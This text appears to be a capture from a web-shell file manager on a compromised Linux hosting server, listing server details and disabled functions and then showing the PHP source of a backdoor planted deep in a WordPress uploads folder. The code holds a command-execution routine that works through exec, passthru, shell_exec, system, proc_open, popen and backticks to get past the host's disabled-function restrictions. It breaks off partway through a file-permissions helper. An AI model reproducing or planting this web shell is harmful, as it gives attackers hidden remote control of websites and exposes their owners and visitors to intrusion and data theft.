HEX
Server: Apache
System: Linux web15f74.uni5.net 5.4.282-1.el8.elrepo.x86_64 #1 SMP Mon Aug 19 18:33:22 EDT 2024 x86_64
User: lucendi (859622)
PHP: 7.4.33
Disabled: apache_child_terminate,c99_buff_prepare,c99_sess_put,dl,exec,leak,link,myshellexec,openlog,passthru,pclose,pcntl_exec,php_check_syntax,php_strip_whitespace,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,system,socket_listen,socket_create_listen,putenv
Upload Files
File: /home/lucendi/www/wp-content/uploads/2024/05/includes/tmp/assets/pezof/tgzp/index.php
<?php
session_start();

function getUpperDirectory($currentDir) {
    // Check if the current directory is the root directory
    if ($currentDir === '/' || $currentDir === '\\') {
        return $currentDir;
    }
    
    // Get the parent directory
    $parentDirectory = dirname($currentDir);
    
    // Get the absolute path of the parent directory
    $absolutePath = realpath($parentDirectory);
    
    return $absolutePath;
}

function remove_dis($functions) {
  $disabled_functions = ini_get('disable_functions');
  $disabled_functions = explode(',', $disabled_functions);
  $enabled_functions = array();

  foreach ($functions as $function) {
    if (!in_array($function, $disabled_functions) && function_exists($function)) {
      $enabled_functions[] = $function;
    }
  }

  return $enabled_functions;
}

function exCommand($command) {
  $output = array();
  $return_var = 0;
  $methods = remove_dis(array('exec', 'passthru', 'shell_exec', 'system', 'proc_open', 'popen', 'backtick'));
  if(isset($_SESSION["method"])){
		$methods = array($_SESSION["method"]);
	}
  // Try each method in order
  foreach ($methods as $method) {
    switch ($method) {
      case 'exec':
        exec($command, $output, $return_var);
        break;
      case 'passthru':
        $return_var = passthru($command, $return_var);
        break;
      case 'shell_exec':
        $output = shell_exec($command);
        $return_var = strlen($output); // shell_exec doesn't provide a return_var
        break;
      case 'system':
        $return_var = system($command, $output);
        break;
      case 'proc_open':
        $process = proc_open($command, array(1 => array('pipe', 'w')), $pipes);
        $output = stream_get_contents($pipes[1]);
        $return_var = proc_close($process);
        break;
      case 'popen':
        $handle = popen($command, 'r');
        $output = stream_get_contents($handle);
        $return_var = pclose($handle);
        break;
      case 'pcntl_exec':
		
		break;
      case 'backtick':
        $output = `$command`;
        $return_var = strlen($output); // backtick operator doesn't provide a return_var
        break;
    }
    // If the command was executed successfully, break out of the loop
    //echo "Command: $command\n<br>";
    if ( (is_array($output) && count($output) > 0) || (!is_array($output) && strlen($output) > 0 ) ){
		echo "Command: $command\n<br>";
		echo "used Exxecution Method: $method\n<br>";
		$_SESSION["method"] = $method;
      break;
    }
  }

  return $output;
}

function createDirectoryLinks($directory) {
    $sections = explode(DIRECTORY_SEPARATOR, $directory);
    $currentPath = '';
    $links = '';

    foreach ($sections as $section) {
        if (!empty($section)) {
            $currentPath .= DIRECTORY_SEPARATOR . $section;
            $links .= DIRECTORY_SEPARATOR ."<a href=\"javascript:void(0)\" onclick=\"change_dir('" . $currentPath . "')\"><u>" . $section . "</u></a>";
        }
    }

    return $links;
}

function getFilePermissionsString($itemPath) {
    $permissions = fileperms($itemPath);

    // Get the file type
    $fileType = '';
    if (is_dir($itemPath)) {
        $fileType = 'd';
    } elseif (is_link($itemPath)) {
        $fileType = 'l';
    } else {
        $fileType = '-';
    }

    // Convert i